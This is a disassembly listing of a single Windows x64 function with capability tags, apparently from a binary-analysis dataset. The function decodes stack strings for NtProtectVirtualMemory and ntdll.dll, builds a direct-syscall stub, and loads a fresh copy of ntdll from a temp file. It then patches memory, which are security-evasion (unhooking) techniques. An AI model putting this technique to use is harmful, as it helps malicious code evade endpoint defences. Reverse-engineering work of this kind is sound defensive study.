Function at 0x140004ae0
Capabilities:
Contain obfuscated stackstrings
Copy file
Delete file
Get common file path
Print debug messages

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x448]
sub rsp, 0x548
mov rax, qword [0x14003a018]
xor rax, rsp
mov qword [rbp + 0x420], rax
movdqa xmm0, xmmword [0x1400358c0]
mov rbx, rcx
lea rcx, str.hid_NtProt_R5GHJe0wZx7n
mov dword [rsp + 0x50], 0x6f6d654d
movdqu xmmword [rsp + 0x40], xmm0
mov r13d, edx
mov word [rsp + 0x54], 0x7972
mov byte [rsp + 0x56], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.hid_n_t_d__5H3JRZQiaiYJ
mov dword [rbp - 0x38], 0x74006e
mov dword [rbp - 0x34], 0x6c0064
xor edi, edi
mov dword [rbp - 0x30], 0x2e006c
mov dword [rbp - 0x2c], 0x6c0064
mov dword [rbp - 0x28], 0x6c
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
movdqa xmm0, xmmword [0x1400358c0]
lea rcx, str.hid_NtProt_T1DVOVgrxb5l
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x6f6d654d
mov word [rsp + 0x6c], 0x7972
mov byte [rsp + 0x6e], dil
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
movdqa xmm0, xmmword [0x1400358c0]
lea rcx, str.hid_NtProt_W1yWYfodCReq
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x6f6d654d
mov word [rbp - 0xc], 0x7972
mov byte [rbp - 0xa], dil
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test r13d, r13d
je 0x140004f26
mov qword [rsp + 0x538], r14
lea rcx, [rbp + 0x210]
xor edx, edx
mov qword [rsp + 0x530], r15
mov r8d, 0x208
call fcn.14000c2a0
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x208
call fcn.14000c2a0
mov r15, 0xffffffffffffffff
mov qword [rsp + 0x30], rdi
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x30]
mov qword [rbp - 0x48], rdi
call fcn.1400057a0
mov rdx, qword [rbx + 0x18]
mov ecx, edi
lea rax, [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rsp + 0x78], xmm0
cmp qword [rax], rcx
je 0x140004c4b
nop
inc ecx
lea rax, [rax + 0x18]
cmp qword [rax], rdi
jne 0x140004c40
mov rbx, qword [rbp - 0x80]
movsxd rax, ecx
mov qword [rsp + 0x580], rsi
mov qword [rsp + 0x540], r12
lea rcx, [rax + rax*2]
movups xmm1, xmmword [rdx + rcx*8 - 0x18]
movsd xmm0, qword [rdx + rcx*8 - 8]
mov ecx, r13d
movsd qword [rbp - 0x60], xmm0
mov r14, qword [rbp - 0x60]
sub r14, rbx
psrldq xmm1, 8
movq rax, xmm1
add r14, rax
sub ecx, 1
je 0x140004e3e
sub ecx, 1
je 0x140004e34
sub ecx, 1
je 0x140004e34
sub ecx, 1
je 0x140004dab
cmp ecx, 1
jne 0x140004f42
lea edx, [rcx + 0xa]
mov dword [rsp + 0x30], 0x424242b8
lea r9d, [rdx - 7]
mov byte [rsp + 0x34], 0x42
xor ecx, ecx
mov word [rsp + 0x38], 0x8b4c
mov r8d, 0x3000
mov word [rsp + 0x3c], 0x50f
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x140004f42
lea rax, [0x140008c60]
mov esi, 0xffffffff
mov qword [rsp + 0x40], rax
lea r15, [rsp + 0x40]
lea rax, [0x1400090e0]
mov qword [rsp + 0x48], rax
lea rax, [0x140008fd0]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x20]
call qword [r15]
cmp eax, 0xffffffff
je 0x140004d3f
cmp esi, 0xffffffff
je 0x140004d3d
cmp esi, eax
jne 0x140004f42
mov esi, eax
inc edi
add r15, 8
cmp edi, 3
jb 0x140004d24
cmp esi, 0xffffffff
je 0x140004f42
mov dword [rsp + 0x31], esi
lea r9, [rbp - 0x48]
mov eax, dword [rsp + 0x30]
mov edx, 0xb
mov dword [r12], eax
mov rcx, r12
movzx eax, byte [rsp + 0x34]
mov byte [r12 + 4], al
movzx eax, word [rsp + 0x38]
lea r8d, [rdx + 0x15]
mov word [r12 + 5], ax
movzx eax, word [rsp + 0x3c]
mov byte [r12 + 7], 0xd1
mov word [r12 + 8], ax
mov byte [r12 + 0xa], 0xc3
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r15, qword [rsp + 0x70]
jmp 0x140004e66
mov edx, 0x104
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x210]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rdx, [rbp]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.._ntdlol.txt
lea rdx, [rbp]
lea rcx, [rbp]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor r8d, r8d
lea rdx, [rbp]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov edx, 1
mov r15, rax
call fcn.140007890
mov rsi, rax
lea rdx, [rsp + 0x58]
mov rcx, rax
jmp 0x140004e4b
mov ecx, r13d
call fcn.140004f50
jmp 0x140004e63
mov rsi, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.1400079d0
test eax, eax
jne 0x140004e59
mov r12, rdi
jmp 0x140004e66
mov edx, eax
mov rcx, rsi
call fcn.1400075e0
mov r12, rax
lea rax, [rbp - 0x50]
mov qword [rbp - 0x58], rbx
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x40]
mov qword [rbp - 0x40], r14
lea rdx, [rbp - 0x58]
mov rcx, 0xffffffffffffffff
call r12
test eax, eax
js 0x140004f42
test r14, r14
je 0x140004ec0
mov rdx, qword [rsp + 0x78]
sub rdx, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rbx]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x140004eb0
mov r9d, dword [rbp - 0x50]
lea rax, [rbp - 0x50]
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x58]
mov rcx, 0xffffffffffffffff
call r12
test eax, eax
js 0x140004f42
cmp r13d, 4
jne 0x140004f06
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140004efc
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r12, qword [rsp + 0x540]
mov rsi, qword [rsp + 0x580]
mov r14, qword [rsp + 0x538]
mov r15, qword [rsp + 0x530]
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.14000b000
add rsp, 0x548
pop r13
pop rdi
pop rbx
pop rbp
ret
mov ecx, 1
call fcn.14000d3f4
int3